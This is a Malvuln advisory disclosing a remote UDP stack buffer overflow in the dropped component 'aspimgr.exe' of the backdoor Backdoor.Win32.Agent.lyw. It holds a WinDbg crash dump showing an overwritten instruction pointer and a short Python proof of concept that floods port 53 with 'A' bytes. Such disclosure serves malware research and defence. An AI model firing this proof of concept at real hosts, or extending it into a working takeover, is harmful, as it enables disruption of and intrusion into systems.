Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/4de6f4104a5fc2185164747a6fcf20ce.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.lyw Vulnerability: Remote Stack Buffer Overflow (UDP) Description: The malware drops an executable named "aspimgr.exe" under SysWOW64 dir, which listens on TCP port 80 and UDP port 53. Third-party attackers who can reach the server can send a specially crafted UDP packet to port 53, triggering a classic buffer overflow overwriting ECX and EIP registers. Type: PE32 MD5: 4de6f4104a5fc2185164747a6fcf20ce Vuln ID: MVID-2021-0210 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 05/14/2021 Memory Dump: The stored exception information can be accessed via .ecxr. (b58.1c6c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000 eip=41414141 esp=03151450 ebp=03151470 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:006> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000 eip=41414141 esp=03151450 ebp=03151470 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:006> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for aspimgr.exe *** ERROR: Module load completed but symbols could not be loaded for aspimgr.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: aspimgr+6876 00406876 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] EXCEPTION_RECORD: 0324e124 -- (.exr 0x324e124) ExceptionAddress: 00406876 (aspimgr+0x00006876) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 03250000 Attempt to read from address 03250000 PROCESS_NAME: aspimgr.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: aspimgr+6876 00406876 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] FAILED_INSTRUCTION_ADDRESS: +6876 41414141 ?? ??? MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0324e174 -- (.cxr 0x324e174) eax=0000018d ebx=00000041 ecx=00000001 edx=0000018c esi=0324fffd edi=0324e7a8 eip=00406876 esp=0324e5d4 ebp=0324ede4 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 aspimgr+0x6876: 00406876 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 00406adc to 00406876 STACK_TEXT: 0324e5d4 00406876 aspimgr+0x6876 0324edec 00406adc aspimgr+0x6adc 0324ff44 41414141 unknown!printable+0x0 0324ff48 41414141 unknown!printable+0x0 0324ff4c 41414141 unknown!printable+0x0 0324ff50 41414141 unknown!printable+0x0 0324ff54 41414141 unknown!printable+0x0 0324ff58 41414141 unknown!printable+0x0 0324ff5c 41414141 unknown!printable+0x0 0324ff60 41414141 unknown!printable+0x0 0324ff64 41414141 unknown!printable+0x0 0324ff68 41414141 unknown!printable+0x0 0324ff6c 41414141 unknown!printable+0x0 0324ff70 41414141 unknown!printable+0x0 0324ff74 41414141 unknown!printable+0x0 0324ff78 41414141 unknown!printable+0x0 0324ff7c 41414141 unknown!printable+0x0 0324ff80 41414141 unknown!printable+0x0 0324ff84 41414141 unknown!printable+0x0 0324ff88 41414141 unknown!printable+0x0 0324ff8c 41414141 unknown!printable+0x0 0324ff90 41414141 unknown!printable+0x0 0324ff94 41414141 unknown!printable+0x0 0324ff98 41414141 unknown!printable+0x0 0324ff9c 41414141 unknown!printable+0x0 0324ffa0 41414141 unknown!printable+0x0 0324ffa4 41414141 unknown!printable+0x0 0324ffa8 41414141 unknown!printable+0x0 0324ffac 41414141 unknown!printable+0x0 0324ffb0 41414141 unknown!printable+0x0 0324ffb4 41414141 unknown!printable+0x0 0324ffb8 41414141 unknown!printable+0x0 0324ffbc 41414141 unknown!printable+0x0 0324ffc0 41414141 unknown!printable+0x0 0324ffc4 41414141 unknown!printable+0x0 0324ffc8 41414141 unknown!printable+0x0 0324ffcc 41414141 unknown!printable+0x0 0324ffd0 41414141 unknown!printable+0x0 0324ffd4 41414141 unknown!printable+0x0 0324ffd8 41414141 unknown!printable+0x0 0324ffdc 41414141 unknown!printable+0x0 0324ffe0 41414141 unknown!printable+0x0 0324ffe4 41414141 unknown!printable+0x0 0324ffe8 41414141 unknown!printable+0x0 0324ffec 41414141 unknown!printable+0x0 0324fff0 41414141 unknown!printable+0x0 0324fff4 41414141 unknown!printable+0x0 0324fff8 41414141 unknown!printable+0x0 0324fffc 41414141 unknown!printable+0x0 03250000 41414141 unknown!printable+0x0 STACK_COMMAND: .cxr 000000000324E174 ; kb ; dds 324e5d4 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: aspimgr+6876 FOLLOWUP_NAME: MachineOwner MODULE_NAME: aspimgr IMAGE_NAME: aspimgr.exe DEBUG_FLR_IMAGE_TIMESTAMP: 48898bf6 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_aspimgr.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_aspimgr+6876 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=53 def doit(): s=socket(AF_INET, SOCK_DGRAM) s.connect((MALWARE_HOST, PORT)) PACKET = "A"*6669 s.send(PACKET) s.close() print("Backdoor.Win32.Agent.lyw / Remote Stack Buffer Overflow (UDP)") print("MD5: 4de6f4104a5fc2185164747a6fcf20ce") print("Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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